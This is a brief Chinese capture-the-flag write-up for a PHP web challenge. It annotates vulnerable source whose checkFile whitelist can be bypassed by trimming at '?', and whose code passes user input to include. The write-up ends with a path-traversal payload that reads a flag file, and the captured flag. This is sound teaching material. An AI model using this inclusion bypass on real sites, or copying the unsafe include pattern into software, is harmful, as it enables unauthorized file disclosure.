打开环境是一个滑稽
查看源代码,提示source.php
打开source.php是php代码
<?php
highlight_file(__FILE__);
#意思是定义一个emmm
class emmm
{
#在emmm里定义变量page,使用checkfile函数
public static function checkFile(&$page)
{
#变量whitelist是个数组,有source.php和hint.php
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
#检查变量page里是否有source.php或者hint.php
if (in_array($page, $whitelist)) {
return true;
}
#取变量page?前面的值
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
#还是检查
if (in_array($_page, $whitelist)) {
return true;
}
#解码给出的已编码字符串中的任何 %##。 加号('+')被解码成一个空格字符。
$_page = urldecode($page);
#取变量page?前面的值
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
#检查
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
#将变量file的值传到emmm里面的checkFile函数
&& emmm::checkFile($_REQUEST['file'])
) {
#有文件包含函数
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
可以看见还有一个hint.php,提示flag的位置
所以我们要构造变量file,因为要传给变量page检查,所以需要有source.php或者hint.php,然后在反复检查中会有替换,我们要加一个?,即?file=source.php?(或者是?file=hint.php),又因为flag在ffffllllaaaagggg里面,所以我们要使用文件包含去打开
反复试找到ffffllllaaaagggg的相对路径是../../../../../../ffffllllaaaagggg
所以payload:?file=source.php?../../../../../ffffllllaaaagggg
flag{8001d44a-9af6-4cec-8638-588b33be1893}